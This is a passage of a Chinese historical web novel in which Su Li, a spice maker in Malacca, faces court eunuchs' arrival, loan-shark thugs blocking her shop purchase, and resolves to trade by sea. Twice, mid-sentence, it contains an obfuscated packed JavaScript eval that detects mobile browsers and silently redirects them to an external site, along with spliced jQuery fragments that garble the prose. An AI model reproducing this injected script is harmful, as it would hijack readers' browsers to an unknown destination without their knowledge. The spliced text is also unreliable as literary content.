老余头、神秘木匣、吴老夫人……这三者之间，必然有着极深的、不为人知的关联。苏璃无意深究，那超出了她的能力范围。但经此一事，她与吴府的关系，显然已不再是简单的买卖合作。她递送木匣的行为，无论自愿与否，都已将自己与吴家，更紧密地绑在了一起。是福是祸，尚难预料，但至少眼下，吴府这座靠山，似乎比之前更加“实在”了一些。 回到陋巷，生活依旧。她继续打理药草园，炮制香料，照顾孩子们。只是心中那份警惕，提到了最高。她让板儿和雇工也留意着园子周围的陌生人，嘱咐巧姐儿只在巷子里玩。 几天过去了，风平浪静。码头税关的流言似乎也淡了些。吴府那边，李管事按时来取了货，结了款，态度如常，只字未提木匣之事。老余头也再未出现，仿佛那雨夜的来访只是一场幻梦。 然而，苏璃知道，有些事情已经改变了。她平静生活的水面之下，那暗流的涌动，或许才刚刚开始。而她，在不知不觉中，已身处这暗流边缘，与一艘更大的船，产生了微妙的联系。 89. 新帆向远洋 吴老夫人赏下的那笔丰厚谢仪，沉甸甸地压在苏璃的箱底，也沉甸甸地压在她的心头。这不仅是钱财，更像是一种无声的认可与更深的绑定。木匣之事后，吴府与她的往来依旧，老夫人甚至又提了两样新的定制需求，但彼此间，似乎多了几分不必言明的默契与谨慎。苏璃更加勤勉地打理着药草园，精心制作每一批香品，她知道，如今她这看似不起眼的小营生，或许也成了吴家某张更大棋盘上，一枚需要保持安稳的棋子。 药草园迎来了第一次像样的丰收。香茅长得郁郁葱葱，薄荷清香扑鼻，茉莉也开了星星点点的白花。苏璃带着阿吉、阿旺和那个新雇的妇人阿叶，起早贪黑地采收、晾晒、分类。新鲜的香草一部分直接供给吴府和固定客商，另一部分，苏璃开始尝试更精细的加工。 她购置了一套小型的铜制蒸馏器具，在药草园的草棚旁专门隔出了一间“工坊”，尝试萃取香茅和薄荷的精油。虽然出油率低得可怜，工艺也粗糙，但那股萃炼出的、更加纯粹浓郁的香气，已让李管事和几位吴府女眷啧啧称奇。她又试着用这些初级精油，调配复合香型的香膏和香露，虽然远不及现代工艺的复杂精妙，但在满剌加，已是难得的雅致新奇之物。 手里有了些积累，见识了吴府这样的高门大户对精致香品的需求，再看看满剌加港口那些川流不息、装载着世界各地奇珍的船只，一个念头在苏璃心中渐渐清晰、坚定——她不能永远满足于在陋巷口、在城郊园子里，做些小打小闹的营生。香料、香药，本就是这南洋贸易的核心货品之一。她懂一些粗浅的加工，了解一些草药的特性，更有着与中原截然不同的、来自前世的些许“奇思妙想”，为何不能在这浩瀚的商海中，试着扬起一片属于自己的小帆？ 开一间专营香药的小铺子，是她第一步的目标。这不仅能将她的产品集中展示，获得更好的售价，也能接触更多、更广的客源，尤其是那些往来东西洋、见多识广的商人。她开始有意识地留意起华人聚居区内外的铺面，位置不一定要最繁华，但需整洁安全，最好能带个小后院，方便存放和处理药材。 这日，她与陈老板结算一批香料的货款，闲聊时，装作无意地问起：“陈伯，您见识广，可知这满剌加，除了咱们华商和红毛鬼，可还有其他地方的商人，对香料、香药特别感兴趣的？我琢磨着，以后铺子开起来，光做咱们自己人的生意，终究有限。” 陈老板捻着山羊胡，沉吟道：“柳娘子志向不小啊。要说别的商人……这满剌加是天下的码头，哪的人没有？天竺（印度）的商人喜欢檀香、沉香，做供奉和药材；阿拉伯的商队最爱乳香、没药，还有各种奇特的树脂香料，他们本国和往西边的欧罗巴都好这口；便是暹罗、真腊（柬埔寨）那边的贵族，也爱用些稀罕的香花精油。不过，”他话锋一转，看向苏璃，“和这些人做生意，可不比咱们自己人。言语不通还在其次，规矩不同，心思也深，更讲究门路和信誉。你没个靠得住的引荐人，或是拿不出让人眼前一亮的好货，门都摸不着。” 苏璃将这话记在心里。靠得住的引荐人……吴府或许算一个，但她暂时不想过多倚仗，更不愿将吴家卷入可能的风险。让人眼前一亮的好货……她看着工坊里那些简陋器具产出的初级精油和试验品，深知还远远不够。她需要更好的原料，更稳定的工艺，或许……还需要一些这个世界尚未有、或极为罕见的“新奇”之物。 就在她为铺子和将来的“大生意”默默筹划之际，码头上传来的一个惊人消息，打破了满剌加表面上的商业喧嚣，也像一块巨石，投入苏璃本就不平静的心湖。 中原的官船到了。 不是寻常的商船或民船，是打着龙旗、配有官兵、隶属于朝廷市舶司的正式官船。船上下来的，除了例行公事的市舶司官员，更有几位面白无须、声音尖细、气度阴柔的人物，明眼人一看便知是宫里的太监。他们的到来，立刻在满剌加的华人商界和葡萄牙殖民当局中，激起了巨大的波澜。华人商贾们又是兴奋又是忐忑，兴奋的是或许能搭上官家路子，获取更多贸易特权或内幕消息；忐忑的是不知这些“天使”所为何来，是否会带来严苛的盘剥或不可测的变故。葡萄牙人则加强了戒备，显然对大明朝廷突然派遣如此规格的使团到来，充满警惕。 消息传到苏璃耳中时，她正带着板儿在药草园里查看新扦插的一批胡椒苗。听闻“官船”、“太监”等字眼，她的心猛地一缩，第一反应是冲着自己来的？但随即又觉得不太可能，若真是追捕她，何须如此兴师动众，动用朝廷官船和太监？ “听说那些太监上岸后，直接去了红毛鬼的总督府，关起门来谈了整整一下午，也不知道谈些什么。”来送东西的阿吉，一边卸下车上的陶缸，一边嘀咕道，“码头上都传遍了，说官船卸下来的箱笼里，有好些个用黄绫子盖着的大箱子，看着就金贵，也不知道装的啥宝贝。” 黄绫子盖着的大箱子……苏璃心中莫名一动，想起了老余头雨夜送来的那个木匣。大小形制自然不同，但那郑重其事的感觉，却有几分相似。 隔了两日，苏璃去“广源号”结一笔香料的尾款，顺道想向陈老板再打听些官船的消息。恰好在铺子后堂，听到陈老板正与另一位相熟的老商人低声交谈。 “……那箱子我虽没亲眼见，但我铺子里一个伙计，他表兄在码头上做通译，凑巧瞥见了一眼卸货单子，虽不真切，但似乎看到有标注‘御制’、‘贡品’字样，还有……对了，好像有一项是‘东海沉香镶金嵌宝提盒一对’，描金的大小尺寸，听着可不小……” 东海沉香镶金嵌宝提盒？苏璃脚步微微一顿。沉香是顶级香料，镶金嵌宝更是宫廷御用规制。老余头那木匣，虽无镶嵌，但木质黝黑沉实，她也曾怀疑是否是某种贵重木料。难道……这其中真有关联？ 她没敢多听，轻轻咳嗽一声，走了进去。陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216786|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板见她来了，便止住了话头，笑着与她结算。苏璃状若无意地问了句：“陈伯，近日码头上官船来了，可会影响咱们这些做小买卖的？” 陈老板叹了口气：“影响是肯定有的。官家一来，税查验货只怕更严，红毛鬼那边肯定也要多生事端。不过，福祸相依。若是官家这趟来，能谈下些对咱们商人有利的条款，或是开通新的航道，那便是天大的好事了。只是……”他摇了摇头，没再说下去，显然也对那些太监的到来心存疑虑。 离开“广源号”，苏璃心中思绪翻腾。官船、太监、可能关联的木匣与提盒、吴府、老余头……无数线索碎片在脑中飞舞，却拼凑不出一幅完整的图景。但她有一种强烈的预感，满剌加平静的日子恐怕要结束了，更大的风云正在汇聚。而她，必须在这风云变幻之前，让自己变得更强大，更有应对变故的资本和能力。 开香药铺的计划必须加快了。但仅仅在陆地上开铺，似乎还不够。陈老板的话提醒了她，真正的利润和机遇，在海上，在那些连接着不同大陆和文明的航线上。她需要更优质的、乃至独一无二的货源，需要建立自己的贸易渠道，哪怕最初只是极其微小的一环。 一个更大胆，也更符合她最初“出海”初衷的计划，在她心中萌芽——或许，她可以尝试组建一支很小的、属于自己的船队？不，那太遥远。或许，可以先投资一艘小船，雇佣可靠的水手，尝试在满剌加周边岛屿，甚至更近的苏门答腊、爪哇等地，寻找那些未被大商行垄断的、有特色香料或药材的产地，进行小宗但直接的贸易？用她制作的、有一定特色的香药成品，去交换当地原始的、优质的香料、药材，甚至……黄金、宝石的原矿或粗加工品？ 她知道这想法近乎异想天开，以她目前的资本和人脉，简直是痴人说梦。但她有别人没有的优势——她懂一些粗浅的加工，能提升原料价值；她来自后世，或许能想到一些“新奇”的、符合异域审美的香药制品或用法；最重要的是，她有耐心，也有在绝境中挣扎求生的韧劲。 “板儿，”回去的路上，她忽然问身边已经快有她肩膀高的少年，“若是有一天，阿娘想自己租条小船，去附近的岛子上找些更好的香料和草药，你怕不怕跟阿娘再去海上？” 板儿闻言，眼睛先是一亮，随即又有些迟疑，但看着苏璃沉静而带着希冀的目光，他用力点了点头：“不怕！阿娘去哪儿，我就去哪儿！我现在有力气，能帮阿娘搬东西，也能学着驾船！” 苏璃摸了摸他的头，心中温暖而坚定。路要一步一步走。眼下，先找合适的铺面，将香药铺开起来，积累更多本钱和信誉。同时，可以开始留意可靠的、有经验的船工或小商人，打听近海岛屿的物产和贸易情况，或许……可以从吴府或陈老板那里，旁敲侧击些门路？ 夕阳将她的影子拉得很长。远处港口，那艘悬挂龙旗的官船在余晖中格外显眼。满剌加的天空，风云渐起。 90. 风波与船影 看中的那处铺面位于华人聚居区边缘一条相对安静的街巷，前铺后舍，不大不小，后头还带个能晾晒药材的小天井，位置既不张扬，也方便熟客寻来。苏璃反复看了几次，又与房主，一位准备回福建老家的老郎中谈妥了价钱，只差最后签约付钱。 她已盘算好，铺子开起来，前头一半做香药买卖，陈设些精致样品，后头一半隔出小小工坊和待客茶室，楼上还能收拾出两间洁净的厢房，以备不时之需，或是给未来可能雇佣的帮手暂住。她甚至想好了铺子的名字，就叫“芝兰香舍”，取“芝兰生于深林，不以无人而不芳”之意，低调，却自有品格。 吴老夫人赏赐的银钱加上她这些时日辛苦积攒，正好够付清房款和简单修葺的费用。签约前一日，苏璃特意备了四色水礼，带着板儿，最后一次去拜访那位老郎中，一是确认细节，二也是感谢老人家愿意将铺子让给她这“外乡妇人”。 一切顺利，只等次日午时，在街坊和一位相熟老秀才的见证下，立契交割。 然而，就在约定时辰前一个时辰，苏璃正在陋巷家中最后清点要带去的银钱和契书，巷口忽然传来一阵嘈杂的喧哗，夹杂着哭喊和粗暴的呵斥声。林阿婆慌慌张张地跑进来，拍着胸口道：“柳娘子！不好了！你……你看中的那铺子出事了！来了好些凶神恶煞的人，把刘郎中的门都快砸烂了，说是刘郎中欠了他们东家的印子钱，那铺子早就押给他们了，不许卖！” 苏璃心里咯噔一下，手中的银包差点掉落。她立刻将银钱藏好，嘱咐板儿锁好门看好妹妹，自己则定了定神，快步朝那铺子所在的街巷走去。 远远便看见那“芝兰香舍”未来门脸前，已围了不少看热闹的街坊邻居。几个穿着短打、敞着怀、露出身上刺青的彪形大汉，正叉腰堵在门口，骂骂咧咧。领头的那个一脸横肉，眼角有道疤，正用手指几乎戳到跌坐在门槛内、面色惨白的刘郎中鼻子上：“姓刘的！欠债还钱，天经地义！当初你画押的时候可是说好的，还不上钱，这铺子连同里头所有家伙什，都归我们东家！你现在想偷偷卖掉卷款跑路？做梦！” 刘郎中老泪纵横，颤声道：“王……王管事，那印子钱利滚利，实在骇人，老朽……老朽实在是还不起了，这才想着卖了祖产，回老家了此残生。这铺子……这位柳娘子是出了公道价的，足够偿还本金还有余啊！求您行行好，让我卖了铺子，把钱还上……” “还上？利息呢？”那王疤脸狞笑，“白纸黑字写得明明白白！还不上，铺子就是我们的！你卖？你拿什么卖？识相的，赶紧滚！别妨碍我们收房！” 周围人群议论纷纷，有同情刘郎中的，也有畏惧那伙人凶悍，不敢出声的。苏璃挤进人群，看到这情景，心中又急又怒。她与刘郎中谈买卖时，反复确认过铺子产权清晰，并无纠葛。这伙人早不来晚不来，偏偏在她要签约的当口出现，还带着所谓的“抵押”字据，未免太过巧合。 “这位管事，”苏璃深吸一口气，上前一步，声音尽量平稳清晰，“妾身便是要与刘老先生买这铺子的人。买卖讲究你情我愿，钱货两清。刘老先生既已将铺子作价卖我，我亦备足了银钱。至于他与贵东家的债务，乃是另一桩事。可否请管事出示抵押字据，若然属实，妾身愿与刘老先生一同，与贵东家商议，用这卖铺的银钱，了结债务，可好？” 她想着，若能见到字据，辨明真伪，或许还能斡旋。即便真是高利贷，若能一次还清本金和合理利息，保住铺子，也值得。 那王疤脸斜眼打量了苏璃几眼，见她虽然衣着朴素，但气度沉静，不似寻常妇人，倒收敛了些许嚣张，哼道：“字据自然有！但我们东家说了，这铺子地段好，不止这个价！你想买？行啊，出双倍的价！不然，免谈！” 这分明是趁机敲诈，坐地起价了！周围响起一片低低的哗然。苏璃心中一沉，知道今日之事难以善了。她正思忖着如何应对，是暂时退让，还是设法请动吴府或陈老板这样的人来调解，眼角的余光，忽然瞥见人群外围，靠近街角阴影里，站着一个穿着半旧靛蓝布袍、头戴斗笠的男人。那人微微低着头，看不清全貌，但苏璃却觉得那身形和偶尔抬起的、阴鸷冰冷的视线，有几分熟悉——她曾在码头税关附近，看到过类似的身影！当时那人似乎也在打量来往带着孩子的妇人！ 一股寒意瞬间从脊背窜起。这伙逼债的人，和这个疑似探子的男人同时出现，是巧合吗？还是……有人不想让她顺利买下铺子，安顿下来？ 就在这时，一阵更响亮的喧哗从街口传来，伴随着整齐的脚步声和马蹄声。有人高喊：“官爷来了！红毛鬼的官也来了！” 人群自动分开一条道。只见一队手持火枪的葡萄牙士兵开路，后面跟着几个穿着大明官服或太监服饰的人，被一群华人商贾和本地葡萄牙官员簇拥着，正朝这边走来。为首两名太监，面色白净，眼神倨傲，正用尖细的嗓音与旁边一个葡萄牙翻译说着什么，目光漫不经心地扫过街边景象。 竟是官船上那些太监和葡萄牙总督府的人，巡街至此！看方向，正是朝着“广源号”吴府那边去，恰好路过此处。 那王疤脸一伙人见了官兵和“天使”，气焰顿时矮了三分，不敢再大声叫嚷。人群也愈发安静，屏息看着这队显赫人马缓缓走近。 苏璃的心提到了嗓子眼。她下意识地想低下头，避开那些太监可能的视线。但眼角的余光，却瞥见街角那个戴斗笠的阴鸷男人，在官队出现的刹那，身形微微一动，似乎想悄悄退走，却又停下，斗笠下的目光，似有意似无意地扫过那两名太监，又飞快地掠过苏璃所在的方向，然后，他竟转过身，不疾不徐地混入人群，朝着相反方向离开了。 他走了？是因为官队到来，有所顾忌？还是……他本就不是冲她来的，只是恰逢其会？ 苏璃脑中念头飞转。此时，那队官家人马已行至铺子前不远。为首一名太监似乎对这边的骚动略有不满，皱了皱眉，用拂尘指了指，对旁边的葡萄牙军官说了句什么。那军官立刻派了两名士兵过来查看。 王疤脸等人吓得连忙躬身退到一边，噤若寒蝉。刘郎中更是伏地不敢起。 苏璃也低下头，退到人群里。她能感觉到有几道目光从官队中扫过，带着审视，但并未多做停留。那两名士兵过来简单询问了几句，王疤脸支支吾吾，只说是债务纠纷。士兵呵斥了几句“不得滋扰”，又见官队已继续前行，便也转身归队了。 一场风波，因这意外的“官巡”而暂时平息。王疤脸一伙人见势不对，也不敢再强硬，只撂下几句“改日再来”的狠话，便悻悻散去。围观人群也渐渐议论着散去。 苏璃扶起瘫软的刘郎中，老人已是面如死灰，喃喃道：“完了……全完了……他们不会罢休的……铺子保不住了……”他看向苏璃，老眼中满是愧疚与绝望，“柳娘子，对不住，对不住……是老朽连累了你。这铺子……怕是与娘子无缘了。” 苏璃看着老人灰败的脸色，再看看那扇本应属于她的铺门，心中亦是百味杂陈。铺子事小，但今日之事透露出的蹊跷与恶意，却让她警铃大作。是单纯的商业欺压？还是与那寻找她的势力有关？那个戴斗笠的阴鸷男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223285|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是偶然出现，还是幕后指使？ “刘老先生，您先别急，保重身子要紧。”苏璃温声安慰，“铺子的事，再从长计议。您的债务，或许……可以再想想别的法子。” 她知道，这铺子暂时是买不成了。即便强行买下，有那伙人虎视眈眈，日后也必是麻烦不断。但就此放弃，她又不甘心。而且，今日之事也让她更加清醒地意识到，仅仅在陆地上开铺坐贾，根基太浅，极易受制于人。或许……她该将目光，更坚定地投向大海了？ 她将失魂落魄的刘郎中送回家，又婉拒了老人退还定金的提议，只说日后再议。回到陋巷家中，板儿和巧姐儿立刻围了上来，满脸担忧。苏璃勉强笑着安抚了他们。 夜深人静，她独坐灯下，望着跳跃的灯火，心绪难平。铺子的事受挫，固然打击，却也像一记警钟，敲醒了她。在满剌加这片各方势力盘根错节的土地上，想要真正站稳脚跟，拥有属于自己的、不易被轻易撼动的基业，或许，只有大海，才能提供更广阔的空间和相对的自由。 组建船队的念头，再次强烈地浮上心头。不，或许不能称之为“船队”，那太遥远。或许，可以先设法拥有或控制一条属于自己的、哪怕很小的船。一条能够载着她的货物，穿梭于附近岛屿之间，直接与产地沟通，甚至进行一些隐秘交易的船。 她想起了黑塔和老海狗，他们是经验丰富的水手，如今“福海号”前途未卜，他们或许愿意加入？她想起了郑老大，他门路多，或许知道哪里能弄到可靠的小船，或者有门路能“租”到？甚至……她想到了那夜老余头送来的木匣，吴府所代表的深不可测的势力，是否能在这件事上，提供一些不显山露水的帮助？比如，一张安全的航线图，一个可靠的泊靠点，或是……某种程度上的庇护？ 这想法大胆而危险，投入巨大，且前途未卜。但她已无退路。陆上的铺子尚未开张便风波不断，暗处的窥伺从未停止，她需要一条进可攻、退可守，甚至必要时能再次“消失”在海上的后路。 “板儿，”她忽然轻声唤道。睡在外间小榻上的板儿立刻应了一声，窸窸窣窣地披衣起来。 “阿娘，你还没睡？”板儿走到她身边，懂事地给她倒了杯温水。 苏璃接过水杯，看着少年日渐坚毅的眉眼，缓缓道：“板儿，阿娘想问问你，如果……如果咱们不买铺子了，阿娘想用那笔钱，去做一件更冒险，但也可能更有盼头的事——咱们自己弄条船，哪怕是很小的船，去海上的岛子做生意，你敢不敢再跟阿娘出一次海？” 板儿眼睛骤然睁大，在昏黄的灯光下闪着光。他没有立刻回答，而是认真地想了一会儿，然后重重点头：“敢！阿娘，咱们在‘福海号’上那么难都过来了！现在咱们有钱，有阿娘的本事，还有黑塔大叔、老海狗爷爷他们！一定行！就是……”他犹豫了一下，“巧姐儿还小，海上颠簸……” “巧姐儿可以暂时托付给林阿婆，或是……若是顺利，咱们可以在一个安全些的岛上，找个稳妥的人家暂住。”苏璃早已想过这个问题，“这需要从长计议，每一步都得走稳。咱们先不急，阿娘要先打听清楚，需要多少本钱，找什么样的人，走什么样的航线。” 看着板儿用力点头的样子，苏璃心中那因白日风波而起的郁结，消散了许多。是啊，陆上走不通，便向海上去。这满剌加，本就是因海而兴。她的未来，或许真的就在那波涛起伏、连接着无数机遇与秘密的汪洋之中。 窗外，传来遥远的、涨潮的海浪声，一声声，拍打着堤岸，也仿佛拍打在她跃跃欲试的心上。